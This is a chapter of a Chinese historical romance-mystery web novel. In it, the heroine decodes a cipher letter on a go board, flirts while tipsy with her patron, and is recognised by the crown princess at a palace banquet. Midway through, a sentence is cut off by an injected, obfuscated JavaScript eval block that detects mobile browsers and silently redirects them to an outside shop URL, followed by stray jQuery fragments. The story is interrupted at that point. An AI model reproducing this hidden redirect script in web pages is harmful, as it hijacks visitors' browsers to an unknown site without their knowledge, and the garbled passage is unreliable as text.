75. 密信

作品:《纯狱系哑女

    大理寺。


    卫庚一筹莫展,在书案前踱着步道:“山里收缴来的那些兵器被抹了编码,难以辨认,即使去军器监也无从查起。”


    朝廷的兵器上都以篆文阴刻着制造年份及工匠的名字。


    “无妨,我知道有一人或许可以复原。”贺兰珩老神在在道,季晚凝大概率可以辨认出来,“眼下的关键在于,圣人舍不舍得康诫这条狗命。”


    “康诫从东宫时就伴在圣人左右,荣宠二十余年,炼丹坊一案圣人虽褫夺了他的官职,但显而易见他老人家想等这阵风波过了之后再起复他。”卫庚双手环臂摸着下巴,“不过走私兵器乃是重罪,一旦证查实,即便圣人想袒护他,满朝官员也不会答应,只是……”


    卫庚的未尽之言贺兰珩很清楚,大理寺很可能就此成为圣人的眼中钉。


    “圣人也是凡人,只要是凡人就有软肋。”贺兰珩的指尖在案沿上轻轻扣了扣,“明日春日宴,我会说服圣人,让他失之东隅,收之桑榆。”


    申时下了值,贺兰珩回到府里,用过晡食之后便坐在棋案边,摆上了数十枚黑子,目光静静地凝在棋秤上。


    晚风卷起帘帐,空落落地翻飞着。


    忽然,房门被肆无忌惮地推开了,旋即一股酒香飘进室内。


    季晚凝穿着一件鹦鹉衔葡萄衫子,银泥披帛挽在纤长的手臂上,迎风走来时飘若蝉翼,绿纱裙的裙摆在脚下荡起一片涟漪。


    贺兰珩抬眸看见她晃晃悠悠地走过来,腮边晕着两团绯霞,樱唇绽红,如一朵开得靡丽的杜鹃花。


    一看就是在长公主那里饮了酒。


    他掐了掐眉心,好歹不是去见宋聿怀了,好歹还能自己走着回来。如此一想,便微微舒了口气。


    季晚凝进屋一眼就看见了案上的棋枰,上面只摆了黑子,双眸霎时如明珠生辉一般,灿然流转,快走了几步,不慎踩到了裙摆,一个趔趄朝着贺兰珩扑了过去。


    贺兰珩眼疾手快地长臂一伸,勾住了她的腰肢,把她揽进怀里,春衫下的身体温暖而柔软,季晚凝贴在他胸口上,听见他稳健有力的心跳声一下一下地加快。


    她看着棋秤道:“郎君解开密信了?”


    “还没,我才刚摆上你就进来了。”


    季晚凝费力地从他怀里撑起身体,眼角眉梢俱是按捺不住的喜色:“我知道密信该如何破解了。”


    原来她一直都想复杂了,她指着棋秤道:“围棋有三百六一个交叉点,除去代表天元的中心点,一共三百六十个点,代表了三百六十个日子。这些黑子其实是日期,所以才不分黑白。”


    贺兰珩眸光微闪,随即质疑:“但密信上并没有标明起始点,你如何确定先后顺序?”


    季晚凝解释道:“很简单,根据密信上墨点的深浅判断,第一个点墨迹最深,最后一个点最浅。”


    贺兰珩回忆了一下,他并不看出墨迹的深浅有什么不同,但对于季晚凝却轻而易举。


    “这封密信,恐怕是陈澍专程留给你的。”他微沉的语气里带了几分复杂的情绪。


    季晚凝心底沉沉浮浮,此时她双手按着他的腿,贺兰珩动不了,只得从算袋里拿出笔墨纸砚,让她凭记忆按照顺序在纸上将日期记了下来。


    “你认识这些日期吗?”


    季晚凝看着那堆扭曲的、不停晃动的字直眼晕,摇了摇头:“不认得,是不是方向错了?”


    “我认为你的思路是对的。”贺兰珩道。


    “我聪明吧!”季晚凝翘起嘴角,笑得葳蕤生光。


    贺兰珩眼里映着她醉芙蓉似的粉面,道:“当然。”


    “算你有眼力。”季晚凝以手支颐慢悠悠道,“今日我听长公主说,你为几个受害的女子寻了出路,没想到三郎人还不错。”


    “三郎”二字叫得贺兰珩熨帖入骨,他握住她绵软无力的手腕捏了捏,“你说的话,是不是明早醒来又忘了?我去让小阮熬碗醒酒汤送来。”


    “我没醉……我清醒得很!”


    季晚凝边说边鼓起水光潋滟的唇,冲他吹了口气。


    浓郁的葡萄酒味扑在脸上,吹得贺兰珩亦醺亦痒,他稍错开脸,附在她耳边哄诱:“要证明自己没醉,就亲我一下。”


    “趁火抢劫,想得美。”明眸醉波流转,瞥了他一眼。


    看来是半醒半醉。


    贺兰珩捏住她的下颌,指腹摩挲着嫣红水润唇瓣。


    季晚凝张开嘴咬了下他的指尖,扣住他双肩往下按,贺兰珩顺着她趟倒在了锦毯上。


    “不许动。”


    季晚凝跨坐在他两侧,胳膊压着他骨骼分明的双肩,扬起手打在他脸上,无奈使不上力,又软软地拍了几下,含着醉腔道:“你是马上要成亲的人了,要检点,知道吗?”


    贺兰珩捉住她的手,吻在掌心里,蹙眉道:“谁说的?”


    “长公主。”


    贺兰珩伸手扣在她腰侧,顺着脊柱往上移,在她后颈上轻柔地捏了捏,“我来处理。”


    被拿捏住敏感之处的季晚凝嗫嚅了几下,随后身子瘫软成一片水,倒在他身上,迷迷蒙蒙地阖上眼,呼吸声渐渐绵长。


    不消片刻,人就睡熟了,贺兰珩把她打横抱回了西厢房,放在床榻上盖好被子。


    目光不经意地掠过窗边的桌案,案上突兀地放着一张纸,用白釉兔镇纸压着。


    他走上前一看,是一副绣样,墨线清浅流畅,几竿风竹疏朗有致,四周缀着卷草纹,看图案大小应该是个荷包或香囊。


    贺兰珩嘴角不自觉地上浮,这几日盘踞在心口的那股患得患失的不安瞬时就被抚平了,十分顺从地安逸了下来。


    虽然他向来不喜这种秀气的图案,但这是她亲手给自己画的,无论是竹是草,无一不好,落在他眼里都觉欢喜。


    ……


    晓月半沉,曙星东升。


    季晚凝是被小阮叫醒的,头晕目眩地坐起身来,小阮递上了一碗醒酒汤,还把今日赴宴用的新衣拿了过来。


    窗外风暖烟淡,景气醺酣,因为前阵子的风霾,春日宴延后到了这一日。


    季晚凝喝了汤后神思清醒了一些,穿上八彩织金晕襦裙,倦懒地坐在妆台前,裙摆铺在锦毯上,在晨辉下流金浮翠,潋滟生辉。


    绾好鬓发后,季晚凝从妆奁里拿出几把半月形的金钿梳背,插在头发上,又在一侧戴上两支雕玉花钗,左右端看,总感觉少了点什么。


    外面响起了叩门声,小阮去开门,之后便退了出去。


    镜中一道身影走近,贺兰珩穿着紫麟袍,腰系玉犀带,衣履倜傥地立在她身后,道:“我之前给你的步摇呢?”


    季晚凝轻轻抿了下唇,那支被她用来换取毒药配方了,正忖着该怎么敷衍他好,一双修长如削的手已扶住了她的发髻,将一支崭新的凤鸟金步摇缓缓插进了云鬓中。


    “郎君什么时候新打的步摇?”


    季晚凝回头,金步摇垂下的珍珠和碧琉璃随着她的动作袅袅摇颤,满室璀璨。


    “酒醒了就不叫三郎了?”贺兰珩眸光垂在她花明玉净的脸上,眉梢微挑,“还说自己没醉。”


    季晚凝一脸茫然道:“我什么时候叫过三郎了?郎君不会是趁我宿醉什么都不记得了骗我吧?”


    贺兰珩轻笑,俯下身来,低哑的声音在她耳畔碾磨:“不仅叫过,你还咬我,骑在我身上打我巴掌……”


    季晚凝脸上顿时腾起两抹薄红,从双颊一路烧到耳垂,脑海里浮现出昨晚的一幕幕,狠狠咬了下唇。


    她算是明白了,酒这东西要么一滴不沾,要么就干脆醉个彻底,把一切忘得干干净净才好。


    这时容嫣推门而入,穿着一袭鹅黄瑞锦襦裙跑过来,拉起季晚凝的手道:“长公主的人已经在门外等了,咱们赶紧走吧。阿兄,我们先走啦,宫里见。”


    季晚凝忙站起身,若无其事地绕过贺兰珩,同容嫣一起出门了,落跑的裙裾在身后翩跹飞舞。


    贺兰珩负手轻笑,目送她们离开。


    今日皇宫禁苑特别开放给前来赏花的大臣和家眷们,苑中百花争艳,似锦堆绣。


    一群流莺穿梭在柳树间,金羽沐晖,百啭千声。


    桃枝上缀满了深深浅浅的胭脂色,石榴花朵朵簇红似火,牡丹最是雍容,卷起层层叠叠的花瓣,若宫妃们的羽衣霓裳。


    季晚凝和容嫣跟在长公主身边踏入禁苑,满目灼灼其华,异香扑鼻。


    女郎们如同蝴蝶逐花一般拥上前去,摘下花朵互相插在彼此的鬓发上。


    容嫣也兴奋不已地摘了大大小小一堆花,给季晚凝和自己簪了满头芳华。


    这时一个穿着青织成的翟衣,头戴一品九树花钗的女子走进了禁苑,大花小花缀满了博鬓,腰上的瑜玉佩系着朱红色双绶,雍容典雅,身后跟着一群服饰鲜丽的宫女。


    只是与装束不符的是,她们每人手里拿着一个捕虫网,格外引人注目。


    “是太子妃来了。”


    几个宫妃凑在一起喋喋私语。


    宋含芷没在意那些诧异的目光,提着裙摆跑到花


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362857|196639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    丛里一挥,捞起了一只黑金相间的蝴蝶。


    “你没认错吗?我怎么听闻太子妃贤良秀惠,可你看她哪里有一点大家闺秀的样子。”


    “我怎么会认错,我在郑贵妃殿里见过她几次,平日举止得体得很。”


    “我看是因为饱受太子冷落,破罐破摔了吧,听说今日太子都没现身。”


    季晚凝听见她们的谈话,侧眸朝宋含芷的方向看过去,她正把蝴蝶拢在手里,用指尖拨弄着漂亮的翅膀,脸上的笑容与十几年一模一样,不曾变过。


    季晚凝攥了攥手里的绣帕,儿时同阿姐和宋含芷一起在花园里用网子捕蝴蝶、捞蝌蚪的场景历历在目,只是事过境迁了。


    她回过神对容嫣道:“女郎为了出嫁被教导成端方持重的模样,反倒失了自己的本性,太子妃不畏人言,返璞归真倒让我羡慕得很。”


    容嫣只当她是因着宋聿怀的关系才给太子妃说话,于是帮腔道:“我也想捉蝴蝶,晚凝你不是跟宋监察很熟吗,能不能帮我去跟太子妃说一下,借给我捕虫网用用。”


    那几名宫妃听后像被捏住了舌头一样,纷纷止了声。


    有个无趣地道了句:“走吧走吧,看牡丹去。”


    几人忙不迭应和着挪动脚步,渐渐走远了。


    容嫣看见宫人穿梭不停地往沉香亭里端金盘,扯了扯季晚凝的袖子道:“吃食奉上来了,咱们去吃点东西吧。”


    季晚凝望着从四面聚拢的人群,轻轻摇头:“你先去吃吧,我还想到处转转。”


    若要去亭里吃宴,保不齐会碰上宋含芷,说罢她就往禁苑深处走去,远离了人群。


    苑里除了名贵花朵,还圈养着四方进贡的奇禽异兽。


    她沿着草木茂盛的青石小径缓步徐行,看孔雀抖开金翠尾屏,看内侍给大象喂食,看犀牛在水池里打滚。这些她从来没见过的动物有趣得很,但那味道也是出奇地臭。


    季晚凝用绣帕掩住口鼻,折返回饲养飞禽的苑前驻足静静观看,太过专注以致于没发现悄悄靠近的脚步。


    “荧荧,”一道清婉女声自身后传来,“你是吗?”


    季晚凝心里咯噔一下,蜷了蜷手指,没回头,抬脚往前走去。


    宋含芷冲着她的背影追了上去,季晚凝听见身后的脚步越来越近,略带着急促的喘息,几乎要贴上自己了。


    她脚下生风,裙摆拂过满地铺绣的棠梨,扬起雪花般的碎瓣,肩上的披帛随风飞扬,忽地被身后的人拽住,她扯了一把,就听一声惊呼。


    “哎哟……”


    季晚凝脚步猝然停下,转过身,只见宋含芷跌倒在地上,揉着脚腕,水汪汪的双眸正望着她。


    季晚凝用绣帕掩着半张脸,俯身向她伸出了手。


    在握住她手腕的那一刻,宋含芷突然噌地一下从地上站了起来,一手死死地攥着她,一手抢过了她手里的绣帕。


    “荧荧,我就知道是你!”


    宋含芷气咻咻道,亮得惊人的眼睛看着她,眼里盛着太多的情绪,有失而复得的狂喜,以及不愿被相认的委屈。


    “你既然还活着为什么不来找我,连认都不认我?”


    季晚凝眼睫颤了颤,垂眸低声道:“如今我身份不堪,不想拖累殿下。”


    “骗人,你明明是因为恨我阿耶。”宋含芷望进季晚凝眼里,双眸逐渐泛了红,“我能理解,但我不希望你仅仅把我当作是宋熙的女儿,当作太子妃,我还是宋含芷,是你的手帕交。”


    宋含芷上前一步,握住她的手:“你于我也一样,你不仅仅是陈澍的女儿,你是荧荧,你还记得吗,咱们一起玩投壶、捉蝴蝶的那些日子。”


    季晚凝闭了闭眼,忍下眼底晕开的潮湿,语气冷静得不近人情:“我从来没有迁怒你的意思,但倘若有一天,你阿耶因我而死,你会后悔现在与我相认。”


    “荧荧,这是什么意思?”宋含芷错愕道,“难道吴道坤是你……”


    季晚凝颔首:“是我亲手杀的。”


    虽然吴道坤最后是被贺兰珩扔进火场的,但她不想牵连他,便自己认下。


    宋含芷声音微颤:“所以那个坊间传闻的季晚凝果然就是你。”


    “是我。”


    “吴道坤罪大恶极,该杀。”宋含芷敛容道,“若我阿耶真的有罪,被大理寺定谳,我亦无话可说。”


    季晚凝抿住唇,喉间一阵翻涌,欲言又止。


    这时一个宫女提裙跑了过来:“殿下!殿下你怎么在这儿呢,长公主的马球赛就要开始了!”